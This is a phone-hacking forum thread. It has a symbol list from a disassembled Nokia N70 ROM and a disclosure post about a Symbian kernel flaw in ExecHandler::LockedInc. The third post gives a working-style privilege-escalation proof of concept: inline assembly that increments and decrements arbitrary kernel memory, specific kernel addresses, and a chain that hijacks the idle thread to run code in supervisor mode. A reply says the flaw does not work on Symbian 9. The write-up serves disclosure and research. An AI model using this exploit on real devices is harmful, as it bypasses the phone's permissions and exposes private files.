Results 1 to 5 of 5

Thread: N70 ROM disassembly

  1. #1

    N70 ROM disassembly

    N70 ROM disassembly

    Hi all
    The group THC published a file with the memory dump from Nokia N70 phones, which I could not find.
    Nevertheless I extracted it and used IDA to dissasemble the file

    The interesting part is that I found names for the routines.

    Note that this is only a reduced list. There are about 1900 routines.
    I have names for almost all of them, but didn't include in this listing.

    If you find this interesting, just contact me at


    50009020 = start
    5000A6A0 = ImpHal__StartupReason_TMachineStartupType_ref_
    5000A6B8 = ImpHal__RamSize_void_
    5000A6C4 = ImpHal__DebugMask_void_
    5000A6D0 = ImpHal__SetDebugMask_ulong_
    5000A73C = ImpHal__TickPeriod_TTimeIntervalMicroSeconds32_ref_
    5000A818 = ImpHal__Init1_void_
    5000A98C = ImpHal__Init3_void_
    5000ACC8 = ImpHal__DisableIrqsToLevel2_void_
    5000ACDC = ImpHal__RestoreIrqs_int_
    5000ACF4 = ImpHal__Init4_void_
    5000AE44 = THelen__SetI2CController_TI2C_p__
    5000AE54 = THelen__TheI2CController_void_
    5000B598 = THelen__Register32_uint_
    5000B5A0 = THelen__SetRegister16_uint_ushort_
    5000B5A8 = THelen__ModifyRegister8_uint_unsigned_char_unsigned_char_
    5000B8D0 = THelen__GetDPLLFrequency_uint_
    5000B94C = THelen__IrqPending_uint_
    5000B954 = THelen__FiqPending_uint_
    5000B95C = THelen__SetIntLevel_uint_uint_
    5000B96C = THelen__ModifyIntMask_uint_uint_uint_
    5000B998 = THelen__ReadIntMask_uint_
    5000B9A0 = THelen__AcknowledgeInt_uint_uint_
    5000B9B0 = THelen__AcknowledgeInt_2_uint_uint_
    5000B9C0 = THelen__GetInthReg_uint_uint_
    5000B9D4 = THelen__SetCLKMReg_uint_uint_
    5000B9E0 = THelen__GetCLKMReg_uint_
    5000B9E4 = THelen__ClearCLKMReg_uint_uint_
    5000B9EC = THelen__UpdateCLKMReg_uint_uint_
    5000C32C = THelen__GetTCIFRegister_uint_
    5000C33C = THelen__SetSDRAMState_THelen__TSDRAMState_
    5000CCAC = TTickInt__TickComplete_void_p__
    5000CF68 = ImpPic__Init1_void_
    5000D098 = ImpPic__Init3_void_
    5000D178 = ImpPic__GetID_TDesC8_const_ref_
    5000D5FC = Arm__IrqDispatch_void_
    5000DE44 = global_constructors_keyed_to_namesOMAP1509
    5000F140 = ImpPsu__ExternalPowerPresent_void_
    5000F148 = ImpPsu__MainBatteryMaxMilliVolts_void_
    5000F168 = ImpPsu__BackupBatteryMaxMilliVolts_void_
    5000F188 = ImpPsu__MainBatteryStatus_void_
    5000F190 = ImpPsu__MainBatteryMilliVolts_void_
    5000F198 = ImpPsu__BackupBatteryStatus_void_
    5000F1A0 = ImpPsu__BackupBatteryMilliVolts_void_
    5000F1A8 = ImpPsu__CheckPowerSupplies_void_
    5000F320 = P__MicroSecondsToTicks_int_
    5000F7B4 = ImpAsic__Panic_THelenPanic_
    5000F7E8 = Asic__LowBattery_void_
    5000F800 = Asic__HandleLowBattery_void_
    5000F8EC = ImpHal__InitSystemTime_TTime_const_ref_
    500105A8 = ImpExc__CheckCritical_int_TExcInfo_const_ref_void_p__int_
    50010630 = ImpExc__AdjustRegisters_void_p__
    50010B98 = _ArmVectorSwi_void_
    50010DD8 = _ArmVectorIrq_void_
    5001101C = _ArmVectorFiq_void_
    500112F4 = dispatchDfcAndReschedule_void_
    500113A4 = _ArmVectorReset_void_
    500113AC = _ArmVectorReserved_void_
    500113D4 = _ArmVectorAbortPrefetch_void_
    500116AC = ImpHal__GetPartnerOSVectors_TPartnerOS_ref_
    500119C4 = drainWriteBuffer_void_
    50011A30 = ImpMmu__RoundToChunkSize_ulong_
    50011A44 = ImpMmu__RoundToPageSize_ulong_
    50011A58 = ImpMmu__PagesToEndOfPageTable_ulong_
    50011A68 = ImpMmu__LinearToPhysical_ulong_
    50011AF8 = ImpMmu__Init1_void_
    50011BE4 = ImpMmu__Init2_void_
    50012900 = ImpMmu__ClearRamDrive_void_
    50012924 = ImpMmu__FlushShadow_void_
    50012DF0 = ImpHal__NewChunkL_int_TChunkType_DProcess_p__
    50013D50 = ImpHal__NewThreadL_void_p__int_
    500140C4 = ExecHandler__TrapHandler_void_
    500140D4 = ExecHandler__SetTrapHandler_TTrapHandler_p__
    500157EC = Debug__WriteMemory_DThread_p__void_p__void_const_p__int_
    5001612C = Exc__Dispatch_int_TExcInfo_const_ref_void_p__int_
    500162D4 = Exc__Fault_int_TExcInfo_const_ref_void_p__int_
    500165A4 = Plat__DebugMask_void_
    500165A8 = P__SetDebugMask_ulong_
    500169AC = Hal__MachineInfo_TMachineInfoV2_ref_
    500169C8 = Hal__MemoryInfo_TMemoryInfoV1_ref_
    50016A08 = Hal__SupplyInfo_TSupplyInfoV1_ref_
    5001706C = Hal__TotalRamInBytes_void_
    50017078 = Hal__TotalRomInBytes_void_
    50017084 = Hal__MaxFreeRamInBytes_void_
    50017090 = Hal__FreeRamInBytes_void_
    500170A8 = Hal__RomVersion_void_
    500170BC = Hal__XYInputType_void_
    500170C0 = Hal__DisplaySizeInPixels_void_
    500170D4 = Hal__MachineUniqueId_void_
    500170EC = Hal__MainBatteryMilliVolts_void_
    500170F0 = Hal__MainBatteryMaxMilliVolts_void_
    500170F4 = Hal__BackupBatteryMaxMilliVolts_void_
    500170F8 = Hal__BackupBatteryStatus_void_
    500170FC = Hal__BackupBatteryMilliVolts_void_
    50017100 = Hal__ExternalPowerPresent_void_
    50017104 = Hal__Flags_void_
    5001710C = Hal__TickPeriod_TTimeIntervalMicroSeconds32_ref_
    50017124 = Hal__Init1_void_
    50017208 = Hal__ColdStart_void_
    50017218 = Hal__AddProtected_int_ref_int_
    500172B0 = j_ImpPic__Init1_void_
    500172B4 = j_ImpPic__Init3_void_
    500172B8 = Pic__Dispatch_int_
    5001732C = Pic__Bind_TInterrupt_ref_TDesC8_const_ref_
    500173C4 = Pic__UnBind_TInterrupt_ref_
    500174BC = Pic__CheckedEnable_int_
    5001751C = Pic__Disable_int_
    50017548 = Pic__Enable_int_
    500179A4 = Psu__Init1_void_
    500179AC = j_ImpMmu__Init1_void_
    50018110 = Mmu__FreeRamInBytes_void_
    50018138 = Mmu__MapRomL_ulong_ulong_int_
    5001813C = Mmu__ReMap_ulong_ulong_
    50018140 = P__NewChunkL_int_TChunkType_DProcess_p__
    500181C8 = DPlatChunk__DPlatChunk_void_
    500181F0 = DPlatChunk__Dest_DPlatChunk_void_
    50018200 = DPlatChunk__Destruct_void_
    500182C0 = DPlatChunk__DoCreate_int_TChunkType_
    500189BC = DPlatChunk__Read_int_void_p__int__const
    500189D0 = DPlatChunk__Write_int_void_const_p__int_
    50019080 = DLibrary__DataInfo_int_TModuleInfo_ref_
    50019130 = DLibrary__InitialiseData_int_DProcess_p__
    50019530 = DPlatLibrary__CreateGenericDataChunkL_TLoaderInfo_ref_
    5001A3F4 = P__FindRomRootDirectory_void_
    5001A4B4 = ExecHandler__RomRootDirectoryAddress_void_
    5001A4C4 = ExecHandler__RomHeaderAddress_void_
    5001A4CC = j_ImpHal__Init4_void_
    5001A5B0 = P__Initialise_void_
    5001AB28 = TInterrupt__Enable_void_
    5001AB38 = TInterrupt__Disable_void_
    5001AB5C = TInterrupt__Bind_TDesC8_const_ref_
    5001D1D8 = PP__Panic_PP__TPlatPanic_
    5001D37C = Plat__CurrentThread_void_
    5001D3A4 = Plat__Fault_TDesC16_const_ref_int_
    5001D468 = RPlatHeapK__FixedHeap_void_p__int_
    5001D880 = j_ImpHal__DisableIrqsToLevel2_void_
    5001D884 = j_ImpHal__RestoreIrqs_int_
    5001D888 = j_Hal__ExternalPowerPresent_void_
    5001D894 = Plat__SetDebugger_DDebugger_p__
    5001DA94 = DChunk__DChunk_void_
    5001DABC = DChunk__Create_CObject_p__DProcess_p__TDesC16_const_p__int_TChunkType_
    50020A80 = ExecHandler__At_TTime_const_ref_TRequestStatus_ref_
    50020AA0 = ExecHandler__Language_void_
    50020B58 = ExecHandler__CurrencySymbol_TDes16_ref_
    50020B64 = ExecHandler__SetCurrencySymbol_TDesC16_const_ref_
    50020FD0 = ExecHandler__SetDebugMask_ulong_
    50020FD4 = ExecHandler__DebugMask_void_
    5002CFDC = DThread__System_void__const
    5002E5FC = DThread__IsExceptionHandled_TExcType_
    5002FBB8 = Kern__HomeTimeOffset_void_
    50031C84 = stub_TPtrC16__TPtrC16_ushort_const_p__
    50031C90 = stub_TPtrC8__TPtrC8_unsigned_char_const_p__
    50031C9C = stub_TInt64__TInt64_int_
    50031CC0 = stub_TBufBase16__TBufBase16_int_
    50031CCC = stub_TDes16__Copy_TDesC16_const_ref_
    50031D08 = stub_Mem__FillZ_void_p__int_
    50031DB0 = stub_TDesC8__Compare_TDesC8_const_ref__const
    50031ED0 = stub_TDblQueIterBase__TDblQueIterBase_TDblQueBase_ref_
    50031F54 = stub_TDesC16__Ptr_void__const
    50032014 = stub_User__HandleException_void__p___TExcType__TExcType_
    50032020 = stub_TInt64__operatorequal_int_
    5003202C = stub_TInt64__operator_p__TInt64_const_ref__const
    50032050 = stub_TInt64__operator__TInt64_const_ref__const
    5003205C = stub_TInt64__GetTInt_void__const
    5003208C = stub_TTime__operatorplus_TTimeIntervalSeconds__const
    500321A0 = stub_CObjectCon__AddL_CObject_p__
    500321AC = stub_TBufBase16__TBufBase16_TDesC16_const_ref_int_
    500321B8 = stub_TUidType__operatorarrayint__const
    500321C4 = stub_TUid__operatorequalequal_TUid_const_ref__const

  2. #2
    Join Date
    Mar 2002

    Cool stuff, to those who could use it.

    Therefore I placed this post into the dct4 developers area where such guys hangout regularly.

    Also, I closed Ur post in bb5 area, while we don't need the same stuff being spread all over the forum.

    U can checkout anytime U like, but U can never leave!

  3. #3

    Escalation of permissions in Symbian phones

    Escalation of permissions in Symbian phones
    by FCA00000-at-yahoo-dot-es

    Symbian is an operating system used in many mobile phones including the new Nokia models and the Siemens-SX1.
    In symbian the programs are usually executed in user-mode.
    To access protected services they need to jump into kernel mode, which has unlimited power.
    Of course the kernel will not allow the user program to do anything it wants: permissions need to be requested.
    In particular, user-mode programs are not supposed to alter other processes or access the private filesystem.

    Until now

    I discovered a weakness in the kernel funcion ExecHandler::LockedInc.
    Normally it is used to increment a value whithin the current thread.

    The assembly code is:
    LDR R3, [R0] // loads R3 with the value at address R0
    MOV R2, R3 // copies into R2
    ADD R3, R3, #1 // increments
    STR R3, [R0] // puts it back
    MOV R0, R2 // tells the previous value
    RET // returns

    The function is invoked as
    User::LockedInc(TInt& aValue);
    that is inside euser.dll . The code simply does SWI 0x8D
    (For a complete explanation. see "Crossing the Userland" by John Pagonis)

    Because of the way it is invoked, it allows to choose any memory address, even kernel memory.
    All we need is R0 pointing to the right place:
    TInt addr=0x80400000;
    asm ("MOV r0, %0" : : "r"(addr) : "r0"); // setup R0
    asm ("MOV LR, PC" ); // come back when finished
    asm ("SWI 0x8D"); // simulate User::LockedInc(int &)
    asm ("nop"); // waste time
    asm ("STR r0, %0" : "=m"(addr) ); // show new value

    The only problem is that also increments the content, but with another SWI 0x8E we can decrement.

    Of course not all memory can be read/written.
    These are some interesting addresses:
    The ROM starts from 0x50000000 and can be read, not written.
    The addresses 0x00000000 - 0x3FFFFFFF do not exist
    Starting from 0x40000000 there are 8K of static shared data
    The kernel data EKern::SvDat lays at 0x80000000
    The kernel stack EKern::SvStack is located at 0x80400000

    After writing the EKern::SvDat it is trivial to jump in supervisor mode to a
    all-powerfull routine that yourself program.
    For example, when the processor is idle, it calls the NullThread that will land in
    which in a Nokia N70, does
    LDR R3, =0x8000047C
    LDR R0, [R3]
    LDR R3, [R0]
    MOV LR, PC
    LDR PC, [R3,#0x18]

    So I can write:
    at address 0x8000047C, value 0x80000480 to set R0
    at address 0x80000480, value 0x80000484 to set R3
    at address 0x80000484+0x18, value 0x80000500 to set PC
    at 0x80000500 , a powerfull routine.

    I would use these:

    TInt IncMem(TInt addr)
    TInt value;
    asm ("MOV r0, %0" : : "r"(addr) : "r0");
    asm ("MOV LR, PC" );
    asm ("SWI 0x8D");
    asm ("nop");
    asm ("STR r0, %0" : "=m"(value) );
    return value;

    TInt DecMem(TInt addr)
    TInt value;
    asm ("MOV r0, %0" : : "r"(addr) : "r0");
    asm ("MOV LR, PC" );
    asm ("SWI 0x8E");
    asm ("nop");
    asm ("STR r0, %0" : "=m"(value) );
    return value;

    void WriteMem(TInt addr, TInt value)
    TInt currValue;
    currValue = IncMem(addr);

    for(TInt i=currValue; i<value; i++)

    main() // replace with HandleCommandL or similar
    TInt addr, value;
    addr=0x80000500; value=0xE1A0F00E /* code for RET */ ; WiteMem(addr, value);
    addr=0x80000484+0x18; value=0x80000500; WiteMem(addr, value);
    addr=0x80000480; value=0x80000484; WiteMem(addr, value);
    addr=0x8000047C; value=0x80000480; WiteMem(addr, value);
    // wait until processor gets idle

    So we achieve to jump to 0x80000500 in supervisor mode !
    Use GCC or Keil to compile any useful routine, for example to increase the permissions of your Thread.
    Then, you can override the TCE and read any system file or interact with the network.

    There are several problems:
    -First, it can only increment the value. To set a given value, it needs to write many times.
    If the current value is 0x12345678 and you want to write 0x22222221, then it needs 0x0FEDCBA9 operations.
    This takes a long time, even if you optimize the code. At least needs 20 minutes
    -Second, it can not read a value without modifying it. This means that some critical kernel variables
    can not be read because any slight change will make a crash.
    -Third, Symbian uses pointers to pointers to pointers to pointers. This makes it difficult to
    analyze any data.
    -Last, every model is different. Kernel memory addresses are dependent on the kernel version. Different
    firmware version also changes the addresses.

    Nokia and Symbian have been informed about this. They even replied.

    From my understanding, this bug is serious because any program can do any escalation of privileges.
    I haven't verified in Symbian 9 ; only in previous versions.

    So, be carefull about which programs you install in your mobile. You might get nasty surprises.

    Thanks to Eric Bustarret for his great informations at
    To Vovan888 and SERRGE at for their great ideas.
    To Jane Sales et Al. for the book Symbian OS Internals
    To Siemens, for making a fully-open mobile.
    To Symbian, for its great design. Even if their OS has bugs, it it really well done.

  4. #4

    Thumbs down

    This approach worked only at pre Symbian 9 platforms.
    1) To call ExecHandler::LockedInc() in Symbian 9, "SWI 0x80000A" is used.
    2) There's no need to implement self made assembler code. Calling User::LockedInc() is enough, it's exported from euser.dll
    3) In Symbian 9 the application code doesn't have any access to kernel adresses. Even via LockedInc SWI.
    Last edited by Hexxx; 17-10-2007 at 01:32 PM.

  5. #5
    You can go to nearest store and disassemble it................

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. Replies: 14
    Last Post: 20-03-2007, 12:50 PM
  2. N70 ROM disassembly
    By E32Dll in forum Nokia Symbian General forum
    Replies: 1
    Last Post: 26-07-2006, 04:05 PM
  3. ARM disassembly
    By Leon in forum Nokia NFREE DCT3 Developers
    Replies: 2
    Last Post: 05-09-2003, 12:35 PM
  4. New Nokia Disassembly & Assembly videos
    By gsm-tech in forum Links
    Replies: 1
    Last Post: 23-05-2003, 06:44 PM
  5. Actual disassembly of flashes
    By OtakPigBoy in forum DCT 3 Flashing / Upgrading / Modding
    Replies: 0
    Last Post: 18-08-2002, 10:31 PM


Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts